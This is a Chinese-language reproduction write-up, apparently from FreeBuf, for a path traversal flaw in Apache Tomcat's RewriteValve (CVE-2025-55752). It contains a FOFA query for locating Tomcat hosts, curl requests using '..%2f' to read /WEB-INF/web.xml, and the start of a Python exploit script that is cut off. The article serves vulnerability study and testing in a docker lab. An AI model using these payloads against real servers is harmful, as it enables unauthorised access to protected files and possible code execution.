
Apache Tomcat介绍:
Apache Tomcat 是一个开源的 Web 服务器和 Servlet 容器,广泛用于 Web 应用的部署和运行。Tomcat 的 RewriteValve 组件是一个服务器端的 URL 重写引擎,它允许开发者通过配置规则来动态修改传入请求的 URL 地址,常用于实现重定向、URL 美化或根据特定条件路由请求。
漏洞概述:
该漏洞产生于在 Apache Tomcat 的 RewriteValve 组件中,由于 URL 规范化与解码操作的执行顺序存在缺陷,导致攻击者能够突破安全路径限制,直接访问受保护的 /WEB-INF/ 或 /META-INF/ 敏感目录。如果同时启用了 PUT 请求或 WebDAV 功能,则攻击者可以上传恶意 JSP 文件并通过路径遍历执行,从而造成远程代码执行。
漏洞版本:
11.0.0-M1 <= Apache Tomcat < 11.0.11 10.1.0-M1 <= Apache Tomcat < 10.0.45 9.0.0-M1 <= Apache Tomcat < 9.0.109
FOFA:
FOFA:app="APACHE-Tomcat"
环境搭建:
复现使用docker容器进行搭建,docker镜像地址来源于Github,执行如下命令开启靶场
git clone https://ghe.misosiru.io/masahiro331/CVE-2025-55752.git cd CVE-2025-55752 docker-compose up -d curl http://localhost:8080/


漏洞复现:
直接请求/WEB-INF/web.xml是禁止的
curl -I 'http://localhost:8080/WEB-INF/web.xml'

但是可以通过..%2f通过RewriteValve绕过,/download?path=..%2fWEB-INF%2fweb.xml
RewriteValve 重写为/files/..%2fWEB-INF%2fweb.xml
网页解码
%2f→ /→ /files/../WEB-INF/web.xml→/WEB-INF/web.xml
因此
curl -I 'http://localhost:8080/download?path=..%2fWEB-INF%2fweb.xml'
可显示200状态码

curl -s 'http://localhost:8080/download?path=..%2fWEB-INF%2fweb.xml' | head -5

POC
CVE-2025-55752.py
#!/usr/bin/env python3 
 
""" 
CVE-2025-55752 Tomcat Path Traversal Exploit 
Demonstrates path traversal vulnerability through URL rewriting 
 
Usage: 
    python3 exploit.py --url http://localhost:8080 [--payload PAYLOAD] [--method PUT] 
""" 
 
import requests 
import argparse 
import sys 
import urllib.parse 
from pathlib import Path 
from typing import Optional, Tuple 
import json 
 
# Disable SSL warnings 
import urllib3 
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) 
 
 
class CVE202555752Exploit: 
    """Exploit for CVE-2025-55752 Tomcat Path Traversal""" 
 
    def __init__(self, target_url: str, verify_ssl: bool = False): 
        self.target_url = target_url.rstrip('/') 
        self.verify_ssl = verify_ssl 
        self.session = requests.Session() 
        self.results = [] 
 
    def test_basic_request(self) -> bool: 
        """Test basic connectivity to the t
                  已在FreeBuf发表 0 篇文章
                
                本文为  独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf
                客服小蜜蜂(微信:freebee1024)
              



